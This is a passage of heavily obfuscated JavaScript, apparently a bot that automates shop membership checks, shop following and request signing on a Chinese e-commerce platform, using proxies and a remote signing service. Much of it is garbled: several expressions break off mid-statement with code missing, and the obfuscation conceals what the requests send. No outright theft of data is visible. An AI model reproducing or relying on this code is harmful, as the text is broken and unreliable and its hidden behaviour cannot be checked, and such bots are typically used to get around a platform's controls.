0x0,0x377),[FUxHt8(0x378)]:FUxHt8(jRDvSi(0x1bc)),[FUxHt8(0x37a)]:FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x37b]),[FUxHt8(0x37c)]:FUxHt8(0x37d),[FUxHt8(0x37e)]:'H5',[FUxHt8(0x37f)]:{[FUxHt8(0x380)]:cxe4nWS,[FUxHt8(0x381)]:!0x0,[FUxHt8(0x382)]:FUxHt8(0x383),[FUxHt8(0x378)]:FUxHt8(0x377),[FUxHt8(0x384)]:jRDvSi(0x13c),[FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),0x385)]:FUxHt8(jRDvSi(0x1bc)),[FUxHt8(0x386)]:0x196},[FUxHt8(0x387)]:FUxHt8(0x388),[jRDvSi(0x1c1)]:jRDvSi(0x13c),ua:this[FUxHt8(0x389)]||this[FUxHt8(0x38a)]},be2Bx5=await this[FUxHt8(jRDvSi(0x1bd))][FUxHt8(0x38b)](_ur_8HD);if(gkVk0iy(be2Bx5[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x38c])],L9nQB4r=jRDvSi(0x111))&&Qknz4M1.gibYBw()){return jRDvSi(0xa4)}const rReTqO={[FUxHt8(0x38d)]:FUxHt8(0x38e),[FUxHt8[wePIns(0x2ad)](void 0x0,[0x38f])]:FUxHt8(0x390),[FUxHt8(0x391)]:{[FUxHt8(0x392)]:FUxHt8(0x393),[FUxHt8(0x394)]:FUxHt8(0x395),[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x396)]:FUxHt8(0x397),[FUxHt8(0x398)]:FUxHt8(0x399),[FUxHt8(0x39a)]:FUxHt8(0x39b),[FUxHt8(0x39c)]:FUxHt8(0x39d),[FUxHt8(0x39e)]:FUxHt8(0x39f),[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x3a0])]:FUxHt8(0x3a1),[FUxHt8(0x3a2)]:this[FUxHt8(0x389)]||this[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x38a])],[FUxHt8(0x3a3)]:rApiUiv},[FUxHt8(0x3a4)]:Object[FUxHt8(0x3a5)]({},be2Bx5[FUxHt8(0x38c)],{[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x3a6])]:'',[FUxHt8(0x3a7)]:FUxHt8(0x3a8),[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x3a9])]:FUxHt8(0x3aa)}),[FUxHt8(0x3ab)]:jRDvSi(0x1be)},MocfTe=await this[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[jRDvSi(0x90)])](rReTqO);if(gkVk0iy(MocfTe[FUxHt8(0x3ac)],QBdZEr(jRDvSi(0x111)))){console[FUxHt8(0x3ad)](`🚫 getShopMemberStatus 请求失败 ➜ ${MocfTe[FUxHt8(0x282)]}`);return void 0x0}if(gkVk0iy(MocfTe[FUxHt8(0x3a4)],QBdZEr(0x13))){console[FUxHt8(0x3ae)](FUxHt8(0x3af));return jRDvSi(0xa4)}const N_Y9bri=MocfTe[FUxHt8(0x3a4)];if(N_Y9bri?.[FUxHt8(0x3ac)]===jRDvSi(0x13c)){let OmVFw6R=N_Y9bri[FUxHt8(0x3b0)];if(Array[FUxHt8(0x3b1)](OmVFw6R)){OmVFw6R=OmVFw6R[0x0]}const SauZPG=OmVFw6R?.[FUxHt8[wePIns(0x2ac)](void 0x0,0x3b2)]?.[jRDvSi(0x9b)]?.[ORi6Xa_(0x3b3)]?.[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x3b4)];if(SauZPG){this[ORi6Xa_(0x3b5)][FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x3b6])](cxe4nWS,SauZPG)}return OmVFw6R?.[ORi6Xa_(0x3b7)]?.[ORi6Xa_(0x3b8)]===0x1}else{if(N_Y9bri?.[FUxHt8(jRDvSi(0x1ba))]){console[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x3b9])](`🚫 获取店铺会员状态异常 ➜ ${N_Y9bri[FUxHt8(0x27a)]}`)}else{console[ORi6Xa_(0x3ba)](`🚫 获取店铺会员状态异常 ➜ ${JSON[ORi6Xa_(0x3bb)](N_Y9bri)}`)}}function ksAIOZl(cxe4nWS,rApiUiv='pBAS42^MYn5HC_Rl"7f!~&+h|F#ZyO6TgLduUjo9PbQva0Xki@{KWVwc`ez[3sNq;8/*=)?]r.',ORi6Xa_,_ur_8HD,be2Bx5=[],rReTqO=0x0,MocfTe,N_Y9bri,OmVFw6R,SauZPG){rK45quy(ORi6Xa_=''+(cxe4nWS||''),_ur_8HD=ORi6Xa_.length,MocfTe=jRDvSi(0x9b),N_Y9bri=-0x1);for(OmVFw6R=jRDvSi(0x9b);OmVFw6R<_ur_8HD;OmVFw6R++){SauZPG=rApiUiv.indexOf(ORi6Xa_[OmVFw6R]);if(SauZPG===-0x1){continue}if(N_Y9brijRDvSi(0xaa)?jRDvSi(0xe6):jRDvSi(0xd6));do{rK45quy(be2Bx5.push(rReTqO&jRDvSi(0xac)),rReTqO>>=0x8,MocfTe-=jRDvSi(0xab))}while(MocfTe>0x7);N_Y9bri=-0x1}}if(N_Y9bri>-0x1){be2Bx5.push((rReTqO|N_Y9bri<{if(typeof be2Bx5===wePIns(0x298)){be2Bx5=MocfTe}if(typeof rReTqO===wePIns(0x298)){rReTqO=d_VGdWb}if(ORi6Xa_==be2Bx5){return rApiUiv?cxe4nWS[rReTqO[rApiUiv]]:d_VGdWb[cxe4nWS]||(ORi6Xa_=rReTqO[cxe4nWS]||be2Bx5,d_VGdWb[cxe4nWS]=ORi6Xa_(IOmkxPs[cxe4nWS]))}if(ORi6Xa_&&be2Bx5!==MocfTe){_ur_8HD=MocfTe;return _ur_8HD(cxe4nWS,-jRDvSi(0xa8),ORi6Xa_,be2Bx5,rReTqO)}if(rApiUiv){[rReTqO,rApiUiv]=[be2Bx5(rReTqO),cxe4nWS||ORi6Xa_];return _ur_8HD(cxe4nWS,rReTqO,ORi6Xa_)}if(be2Bx5===_ur_8HD){MocfTe=rApiUiv;return MocfTe(ORi6Xa_)}if(cxe4nWS!==rApiUiv){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}};const be2Bx5=await this[FUxHt8(jRDvSi(0x90))]({[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x3be])]:ORi6Xa_,[FUxHt8(0x3bf)]:_ur_8HD(0x3c0),[FUxHt8(0x3c1)]:{[_ur_8HD(0x3c2)]:_ur_8HD(0x3c3)},[_ur_8HD[wePIns(0x2ad)](void 0x0,[0x3c4])]:JSON[_ur_8HD(0x3c5)]({fn:cxe4nWS,[_ur_8HD(jRDvSi(0x1bf))]:rApiUiv}),[FUxHt8(0x3c6)]:jRDvSi(0x1be)}),rReTqO=be2Bx5[FUxHt8(0x3c7)];if(rReTqO&&rReTqO[_ur_8HD(jRDvSi(0x1bf))]){return rReTqO[_ur_8HD(0x3c4)]}function MocfTe(cxe4nWS,rApiUiv='F^YX5V|RjrS+."Bi@NQaCJlpbD',ORi6Xa_,_ur_8HD,be2Bx5=[],rReTqO,MocfTe,FUxHt8,N_Y9bri=0x0,OmVFw6R){rK45quy(ORi6Xa_=''+(cxe4nWS||''),_ur_8HD=ORi6Xa_.length,rReTqO=jRDvSi(0x9b),MocfTe=jRDvSi(0x9b),FUxHt8=-0x1);for(N_Y9bri=N_Y9bri;N_Y9bri<_ur_8HD;N_Y9bri++){OmVFw6R=rApiUiv.indexOf(ORi6Xa_[N_Y9bri]);if(OmVFw6R===-jRDvSi(0xa8)){continue}if(FUxHt8<0x0){FUxHt8=OmVFw6R}else{rK45quy(FUxHt8+=OmVFw6R*0x5b,rReTqO|=FUxHt8<jRDvSi(0xaa)?0xd:jRDvSi(0xd6));do{rK45quy(be2Bx5.push(rReTqO&jRDvSi(0xac)),rReTqO>>=jRDvSi(0xab),MocfTe-=0x8)}while(MocfTe>0x7);FUxHt8=-jRDvSi(0xa8)}}if(FUxHt8>-jRDvSi(0xa8)){be2Bx5.push((rReTqO|FUxHt8<-0x30){return jRDvSi(0xb9)}try{const rApiUiv=await this[FUxHt8(0x3c8)]({[FUxHt8(0x3c9)]:rK45quy},cxe4nWS);return rApiUiv?.[FUxHt8(0x405)]?.[FUxHt8(jRDvSi(0x1c4))]||null}catch(error){console[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x406)](`❌ getShopId 在处理请求中遇到了错误\n${error}`)}return jRDvSi(0xb9)}async[FUxHt8(0x407)](rK45quy,cxe4nWS=this[FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),jRDvSi(0x1bb))]){if(gkVk0iy(rK45quy,L9nQB4r=0x13)){return null}try{const rApiUiv=await this[FUxHt8(jRDvSi(0x1c3))]({[FUxHt8(0x3ca)]:rK45quy},cxe4nWS);return rApiUiv?.[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x408])]?.[FUxHt8(0x3c9)]||null}catch(error){console[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x409])](`❌ getVenderId 在处理请求中遇到了错误\n${error}`)}return null}async[FUxHt8[wePIns(0x2ac)](void 0x0,0x40a)](rK45quy={[FUxHt8(0x3c9)]:'',[FUxHt8[wePIns(0x2ad)](void 0x0,[jRDvSi(0x1c4)])]:''},cxe4nWS=this[FUxHt8(0x301)]){const {[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x3c9)]:rApiUiv,[FUxHt8[wePIns(0x2ad)](void 0x0,[0x3ca])]:ORi6Xa_}=rK45quy;if(gkVk0iy(rApiUiv,L9nQB4r=0x13)&&gkVk0iy(ORi6Xa_,L9nQB4r=jRDvSi(0x111))){return jRDvSi(0xb9)}try{const _ur_8HD=await this[FUxHt8(jRDvSi(0x1c3))](rK45quy,cxe4nWS);return _ur_8HD?.[FUxHt8(0x40b)]?.[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x40c])]||null}catch(error){console[FUxHt8(0x40d)](`❌ getShopName 在处理请求中遇到了错误\n${error}`)}return null}async[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x40e])](cxe4nWS,rApiUiv,ORi6Xa_=this[FUxHt8(jRDvSi(0x1bb))]){if(gkVk0iy(ORi6Xa_,QBdZEr(jRDvSi(0x111)))){console[FUxHt8(0x40f)](FUxHt8(0x410));return void 0x0}if((gkVk0iy(cxe4nWS,QBdZEr(jRDvSi(0x111)))&&typeof cxe4nWS!==FUxHt8[wePIns(0x2ad)](void 0x0,[0x411])||gkVk0iy(rApiUiv,L9nQB4r=0x13))&&Qknz4M1.SBnLtwZ>-jRDvSi(0x177)){return jRDvSi(0xa4)}try{var _ur_8HD=(cxe4nWS,rApiUiv,ORi6Xa_,be2Bx5,rReTqO)=>{if(typeof be2Bx5===wePIns(0x298)){be2Bx5=N_Y9bri}if(typeof rReTqO===wePIns(0x298)){rReTqO=d_VGdWb}if(cxe4nWS!==rApiUiv){return rReTqO[cxe4nWS]||(rReTqO[cxe4nWS]=be2Bx5(IOmkxPs[cxe4nWS]))}if(ORi6Xa_==be2Bx5){return rApiUiv?cxe4nWS[rReTqO[rApiUiv]]:d_VGdWb[cxe4nWS]||(ORi6Xa_=rReTqO[cxe4nWS]||be2Bx5,d_VGdWb[cxe4nWS]=ORi6Xa_(IOmkxPs[cxe4nWS]))}if(rApiUiv){[rReTqO,rApiUiv]=[be2Bx5(rReTqO),cxe4nWS||ORi6Xa_];return _ur_8HD(cxe4nWS,rReTqO,ORi6Xa_)}if(ORi6Xa_==cxe4nWS){return rApiUiv[d_VGdWb[ORi6Xa_]]=_ur_8HD(cxe4nWS,rApiUiv)}};const be2Bx5={[FUxHt8(0x412)]:FUxHt8(0x413),[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x414])]:FUxHt8[wePIns(0x2ac)](void 0x0,0x415),[FUxHt8(0x416)]:{[FUxHt8(0x417)]:FUxHt8(0x418),[FUxHt8(0x419)]:_ur_8HD(0x41a),[_ur_8HD(0x41b)]:FUxHt8(0x41c),[_ur_8HD(0x41d)]:_ur_8HD(0x41e),[_ur_8HD[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x41f])]:_ur_8HD(0x420),[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x421)]:FUxHt8(0x422),[FUxHt8(0x423)]:_ur_8HD(0x424),[_ur_8HD(0x425)]:ORi6Xa_,[_ur_8HD(0x426)]:this[_ur_8HD(0x427)]},[_ur_8HD(0x428)]:{[_ur_8HD(0x429)]:_ur_8HD(0x42a),[FUxHt8(0x42b)]:JSON[_ur_8HD(0x42c)]({[FUxHt8(jRDvSi(0x1c4))]:rApiUiv,[_ur_8HD(0x42d)]:cxe4nWS}),[jRDvSi(0x1c1)]:Date[FUxHt8(jRDvSi(0x13e))](),[FUxHt8(0x42e)]:_ur_8HD(0x42f),[FUxHt8(0x430)]:_ur_8HD(0x431),[FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),0x432)]:FUxHt8(0x433)},[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x434])]:jRDvSi(0x1be)},rReTqO=await this[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x145])](be2Bx5);if(gkVk0iy(rReTqO[FUxHt8(0x435)],L9nQB4r=jRDvSi(0x111))){console[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x436])](`🚫 followShop 请求失败 ➜ ${rReTqO[FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),jRDvSi(0x19d))]}`);return void 0x0}if(gkVk0iy(rReTqO[_ur_8HD(jRDvSi(0x1c5))],L9nQB4r=jRDvSi(0x111))){console[_ur_8HD(0x437)](_ur_8HD(0x438));return void 0x0}const MocfTe=rReTqO[_ur_8HD(jRDvSi(0x1c5))];if(MocfTe?.[_ur_8HD(0x439)]==='0'){return MocfTe?.[_ur_8HD(0x43a)]?.[_ur_8HD[wePIns(0x2ad)](void 0x0,[0x439])]==='0'}else{if(MocfTe?.[FUxHt8(0x279)]){return!0x1}else{console[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x43b])](`🚫 ${cxe4nWS?'关注':'取关'}店铺异常 ➜ ${JSON[_ur_8HD(0x42c)](MocfTe)}`)}}function N_Y9bri(cxe4nWS,rApiUiv='u=/1534})#0{^+<.6c]U2|:H;,CsZ%*p9t?R["lnbxTVOhmMgkX!I_oSaYvQzwBNEPfLqGyW~A($FeKdD>Ji7@r&`j8',ORi6Xa_,_ur_8HD,be2Bx5=[],rReTqO,MocfTe=0x0,N_Y9bri,FUxHt8,OmVFw6R){rK45quy(ORi6Xa_=''+(cxe4nWS||''),_ur_8HD=ORi6Xa_.length,rReTqO=jRDvSi(0x9b),N_Y9bri=-jRDvSi(0xa8));for(FUxHt8=jRDvSi(0x9b);FUxHt8<_ur_8HD;FUxHt8++){OmVFw6R=rApiUiv.indexOf(ORi6Xa_[FUxHt8]);if(OmVFw6R===-jRDvSi(0xa8)){continue}if(N_Y9bri0x58?jRDvSi(0xe6):0xe);do{rK45quy(be2Bx5.push(rReTqO&0xff),rReTqO>>=0x8,MocfTe-=jRDvSi(0xab))}while(MocfTe>0x7);N_Y9bri=-jRDvSi(0xa8)}}if(N_Y9bri>-jRDvSi(0xa8)){be2Bx5.push((rReTqO|N_Y9bri<0x0&&gkVk0iy(be2Bx5,QBdZEr(0x13))&&Qknz4M1.hmEUpuU>-0x9){const rApiUiv=_ur_8HD[FUxHt8(0x459)]();rK45quy(rReTqO++,MocfTe++,await N_Y9bri(rApiUiv,MocfTe))}if(be2Bx5||_ur_8HD[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x458])]===0x0){await new Promise(rApiUiv=>{const cxe4nWS=setInterval(()=>{if(rReTqO===jRDvSi(0x9b)){rK45quy(clearInterval(cxe4nWS),rApiUiv())}},jRDvSi(0x195))})}}const SauZPG=Math[FUxHt8(0x45a)](_ur_8HD[FUxHt8(0x45b)],cxe4nWS),ksAIOZl=[];for(let M9UH60W=jRDvSi(0x9b);M9UH60W{const rApiUiv=setInterval(()=>{if(rReTqO===jRDvSi(0x9b)||be2Bx5){rK45quy(clearInterval(rApiUiv),cxe4nWS())}},0x64)}))}async[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x45f])](cxe4nWS,rApiUiv){if(gkVk0iy(this[FUxHt8(0x460)],L9nQB4r=jRDvSi(0x111))){rK45quy(this[FUxHt8(jRDvSi(0x105))](),this[FUxHt8(0x460)]=jRDvSi(0x13c))}let ORi6Xa_='';try{const _ur_8HD=this[FUxHt8(0x461)];if(_ur_8HD[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[jRDvSi(0x1cb)])]){try{ORi6Xa_=_ur_8HD[FUxHt8(jRDvSi(0x1cb))](cxe4nWS,rApiUiv)}catch(err){console[FUxHt8(0x463)](`🚫 getSign 获取本地签名遇到了错误 ➜ ${err[FUxHt8(jRDvSi(0x1ba))]||err}`)}if(ORi6Xa_){return ORi6Xa_}else{console[FUxHt8(0x464)](FUxHt8[wePIns(0x2ac)](void 0x0,0x465))}}let be2Bx5={[_ur_8HD[FUxHt8(0x466)]]:cxe4nWS,[_ur_8HD[FUxHt8(0x467)]]:rApiUiv};const rReTqO={[FUxHt8[wePIns(0x2ad)](void 0x0,[0x468])]:_ur_8HD[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x469)],[FUxHt8(0x46a)]:_ur_8HD[FUxHt8(0x46b)][FUxHt8(0x46c)](),[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x46d)]:{[FUxHt8(0x46e)]:_ur_8HD[FUxHt8(0x46f)]},[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x470)]:jRDvSi(0xb9),[FUxHt8(0x471)]:0xea60,[FUxHt8(0x472)]:null,[FUxHt8(0x473)]:!0x1};if(_ur_8HD[FUxHt8(0x46b)]===FUxHt8(0x474)){rK45quy(_ur_8HD[FUxHt8[wePIns(jRDvSi(0xb3))](undefined,[0x469])]+=`?${this[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x114])](be2Bx5)}`,delete rReTqO[FUxHt8(0x470)],delete rReTqO[FUxHt8[wePIns(jRDvSi(0xc9))](undefined,0x46d)][FUxHt8[wePIns(0x2ad)](undefined,[0x46e])])}else{if(_ur_8HD[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x46f)][FUxHt8(0x475)](FUxHt8(0x476))!==gkVk0iy(0x1,QBdZEr(-jRDvSi(0x111)))){if(gkVk0iy(be2Bx5[_ur_8HD[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x467)]],QBdZEr(jRDvSi(0xc8)))===FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x477])){be2Bx5[_ur_8HD[FUxHt8[wePIns(0x2ad)](undefined,[0x467])]]=JSON[FUxHt8(0x478)](be2Bx5[_ur_8HD[FUxHt8[wePIns(0x2ac)](void 0x0,0x467)]])}rReTqO[FUxHt8(jRDvSi(0x1cc))]=this[FUxHt8(0x114)](be2Bx5)}else{rReTqO[FUxHt8(0x470)]=JSON[FUxHt8(0x479)](be2Bx5)}}const MocfTe=await this[FUxHt8(0x145)](rReTqO);if(gkVk0iy(MocfTe[FUxHt8(0x47a)],QBdZEr(0x13))){console[FUxHt8(0x47b)](`🚫 getSign 请求失败 ➜ ${MocfTe[FUxHt8(0x282)]}`);return ORi6Xa_}if(gkVk0iy(MocfTe[FUxHt8(0x470)],QBdZEr(jRDvSi(0x111)))){console[FUxHt8(0x47c)](FUxHt8(0x47d));return ORi6Xa_}let N_Y9bri=MocfTe[FUxHt8(0x470)];if(gkVk0iy(MocfTe[FUxHt8(jRDvSi(0x1cc))],L9nQB4r=jRDvSi(0xc8))===FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x47e])){if(N_Y9bri[FUxHt8(jRDvSi(0x1cc))]){N_Y9bri=N_Y9bri[FUxHt8(0x470)]}for(const OmVFw6R of[FUxHt8(0x47f),FUxHt8(0x480),FUxHt8(0x481)])if(N_Y9bri?.[OmVFw6R]&&this[FUxHt8(0x482)](N_Y9bri[OmVFw6R])){ORi6Xa_=N_Y9bri[OmVFw6R];break}if(gkVk0iy(ORi6Xa_,QBdZEr(0x13))){console[FUxHt8(0x483)](`🚫 getSign 响应数据解析异常 ➜ ${JSON[FUxHt8(0x484)](N_Y9bri)}`)}}else{if(this[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x485)](N_Y9bri)){ORi6Xa_=N_Y9bri}else{console[FUxHt8(0x486)](`🚫 getSign 响应数据解析异常 ➜ ${N_Y9bri}`)}}}catch(error){console[FUxHt8(0x487)](`🚫 getSign 在处理请求中遇到了错误\n${error}`)}return ORi6Xa_}[FUxHt8(0x488)](rK45quy){const cxe4nWS=[FUxHt8(0x489),FUxHt8(0x48a),FUxHt8(0x48b),FUxHt8(0x48c)];for(let rApiUiv=jRDvSi(0x9b);rApiUiv-jRDvSi(0xad)){return!0x1}return jRDvSi(0x13c)}[FUxHt8[wePIns(0x2ad)](void 0x0,[0x48f])](rK45quy){switch(rK45quy){case FUxHt8(0x495):if(gkVk0iy(this[FUxHt8(0x490)],L9nQB4r=0x13)){try{const {[FUxHt8(0x491)]:cxe4nWS}=require(this[FUxHt8[wePIns(0x2ad)](void 0x0,[0x492])]);this[FUxHt8(0x490)]=cxe4nWS}catch(error){console[FUxHt8(0x493)](FUxHt8(0x494))}}break;case FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x499):if(gkVk0iy(this[FUxHt8(0x496)],L9nQB4r=jRDvSi(0x111))){try{const {[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),0x497)]:rApiUiv}=require('console-table-printer');this[FUxHt8(0x496)]=rApiUiv}catch(error){console[FUxHt8(0x498)](`❌ console-table-printer 表格打印模块加载失败 ${error[FUxHt8(0x27a)]||error}`)}}break;case!(Qknz4M1.SBnLtwZ>-0x4b)?FUxHt8(0x49d):FUxHt8(0x49e):if(gkVk0iy(this[FUxHt8[wePIns(0x2ad)](jRDvSi(0xa4),[0x49a])],L9nQB4r=jRDvSi(0x111))){try{const {[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x49b])]:ORi6Xa_}=require('https-proxy-agent');this[FUxHt8(0x49a)]=ORi6Xa_}catch(error){try{this[FUxHt8(0x49a)]=require('https-proxy-agent')}catch(error){console[FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),0x49c)](`❌ https-proxy-agent 代理模块加载失败 ${error[FUxHt8(0x27a)]||error}`)}}}break;default:}}}class mZbRsMB{static[FUxHt8(0x49f)](cxe4nWS){cxe4nWS=cxe4nWS[FUxHt8(0x4a0)](/rn/g,'n');let rApiUiv='',ORi6Xa_;for(let _ur_8HD=jRDvSi(0x9b);_ur_8HD0x7f&&ORi6Xa_<0x800){rK45quy(rApiUiv+=String[FUxHt8(0x4a4)](ORi6Xa_>>0x6|0xc0),rApiUiv+=String[FUxHt8(0x4a4)](ORi6Xa_&0x3f|0x80))}else{rK45quy(rApiUiv+=String[FUxHt8(0x4a5)](ORi6Xa_>>jRDvSi(0xa0)|0xe0),rApiUiv+=String[FUxHt8(0x4a5)](ORi6Xa_>>jRDvSi(0xa1)&jRDvSi(0x9d)|0x80),rApiUiv+=String[FUxHt8(0x4a5)](ORi6Xa_&0x3f|jRDvSi(0x47)))}}}return rApiUiv}static[FUxHt8(jRDvSi(0x1d4))](cxe4nWS){let rApiUiv='',ORi6Xa_,_ur_8HD,be2Bx5,rReTqO=0x0;while(rReTqO0xbf&&ORi6Xa_<0xe0&&Qknz4M1.V603UF()){rK45quy(_ur_8HD=cxe4nWS[FUxHt8(jRDvSi(0x1cd))](gkVk0iy(rReTqO,0x1,L9nQB4r=-jRDvSi(0xc6))),rApiUiv+=String[FUxHt8(0x4aa)]((ORi6Xa_&0x1f)<<0x6|_ur_8HD&0x3f),rReTqO+=0x2)}else{rK45quy(_ur_8HD=cxe4nWS[FUxHt8(0x4a8)](gkVk0iy(rReTqO,jRDvSi(0xa8),L9nQB4r=-0x24)),be2Bx5=cxe4nWS[FUxHt8(0x4a8)](gkVk0iy(rReTqO,jRDvSi(0xa3),L9nQB4r=-jRDvSi(0xc6))),rApiUiv+=String[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x4ab)]((ORi6Xa_&jRDvSi(0xda))<<0xc|(_ur_8HD&jRDvSi(0x9d))<>0x2,N_Y9bri=(_ur_8HD&jRDvSi(0xb6))<<0x4|be2Bx5>>0x4,OmVFw6R=(be2Bx5&0xf)<<0x2|rReTqO>>jRDvSi(0xa1),SauZPG=rReTqO&jRDvSi(0x9d));if(isNaN(be2Bx5)){OmVFw6R=SauZPG=0x40}else{if(isNaN(rReTqO)){SauZPG=jRDvSi(0x1d3)}}ORi6Xa_=gkVk0iy(ORi6Xa_+rApiUiv[FUxHt8(0x4b0)](MocfTe)+rApiUiv[FUxHt8(jRDvSi(0x1cf))](N_Y9bri)+rApiUiv[FUxHt8[wePIns(0x2ac)](void 0x0,jRDvSi(0x1cf))](OmVFw6R),rApiUiv[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,jRDvSi(0x1cf))](SauZPG),QBdZEr(-jRDvSi(0xc6)))}while(ORi6Xa_[FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,jRDvSi(0x1d0))]%jRDvSi(0xb8)>jRDvSi(0xa8))ORi6Xa_+=jRDvSi(0x11e);return ORi6Xa_}static[FUxHt8(0x4b1)](cxe4nWS,rApiUiv=FUxHt8(0x4ad)){let ORi6Xa_='',_ur_8HD,be2Bx5,rReTqO,MocfTe,N_Y9bri,OmVFw6R,SauZPG,ksAIOZl=jRDvSi(0x9b);while(ksAIOZl>jRDvSi(0xb8),be2Bx5=(N_Y9bri&jRDvSi(0xda))<>jRDvSi(0xa3),rReTqO=(OmVFw6R&0x3)<<0x6|SauZPG,ORi6Xa_+=String[FUxHt8(0x4b5)](_ur_8HD));if(OmVFw6R!==jRDvSi(0x1d3)){ORi6Xa_+=String[FUxHt8(0x4b5)](be2Bx5)}if(SauZPG!==0x40){ORi6Xa_+=String[FUxHt8(0x4b5)](rReTqO)}}ORi6Xa_=this[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[jRDvSi(0x1d4)])](ORi6Xa_);return ORi6Xa_}}class fv1naDh{constructor(cxe4nWS=jRDvSi(0xb9),rApiUiv=0x0,ORi6Xa_=jRDvSi(0xb9)){rK45quy(this.saveFile=cxe4nWS,this.defaultTTL=rApiUiv,this.reloadInterval=ORi6Xa_,this.lastLoad=0x0,this.data=new Map,this.pendingWrites=!0x1,this.load())}[FUxHt8(jRDvSi(0x1d5))](){if(this[FUxHt8[wePIns(0x2ad)](void 0x0,[0x4b7])]&&cwcVC35[FUxHt8(0x4b8)](this[FUxHt8(0x4b7)])&&Qknz4M1.SBnLtwZ>-jRDvSi(0x177)){try{const rK45quy=cwcVC35[FUxHt8(0x4b9)](this[FUxHt8(0x4b7)],FUxHt8[wePIns(jRDvSi(0xc9))](void 0x0,0x4ba)),cxe4nWS=JSON[FUxHt8(0x4bb)](rK45quy);this[FUxHt8(0x4bc)]=new Map(Object[FUxHt8(0x4bd)](cxe4nWS))}catch(e){}}this[FUxHt8(0x4be)]=this[FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),jRDvSi(0x13e))]()}[FUxHt8(jRDvSi(0x1d8))](){if(this[FUxHt8(0x4c0)]&&gkVk0iy(this[FUxHt8[wePIns(0x2ac)](void 0x0,0x4c1)],QBdZEr(0x13))){this[FUxHt8(0x4c1)]=jRDvSi(0x13c);try{const rK45quy=JSON[FUxHt8(0x4c2)](Object[FUxHt8(0x4c3)](this[FUxHt8(0x4c4)]));cwcVC35[FUxHt8(0x4c5)](this[FUxHt8(0x4c0)],rK45quy,FUxHt8(0x4c6))}catch{}this[FUxHt8(0x4c1)]=!0x1}}[FUxHt8(0x4c7)](){this[FUxHt8(0x4c8)][FUxHt8(0x4c7)]()}[FUxHt8(0x4c9)](rK45quy=this[FUxHt8(jRDvSi(0x13e))]()){if(gkVk0iy(this[FUxHt8(0x4ca)],L9nQB4r=0x13)||gkVk0iy(this[FUxHt8(0x4cb)],QBdZEr(jRDvSi(0x111)))){return}if(rK45quy-this[FUxHt8(0x4cc)]>this[FUxHt8(0x4ca)]){this[FUxHt8(jRDvSi(0x1d5))]()}}[FUxHt8(jRDvSi(0x13e))](){return Date[FUxHt8(jRDvSi(0x13e))]()}[FUxHt8(0x1be)](cxe4nWS,rApiUiv=null,ORi6Xa_=jRDvSi(0x9b),_ur_8HD){rK45quy(this[FUxHt8(0x4c9)](),ORi6Xa_=ORi6Xa_===jRDvSi(0x9b)?this[FUxHt8(0x4cd)]:ORi6Xa_);const be2Bx5=ORi6Xa_===0x0?jRDvSi(0x9b):gkVk0iy(this[FUxHt8(jRDvSi(0x13e))](),ORi6Xa_,L9nQB4r=-0x24);let 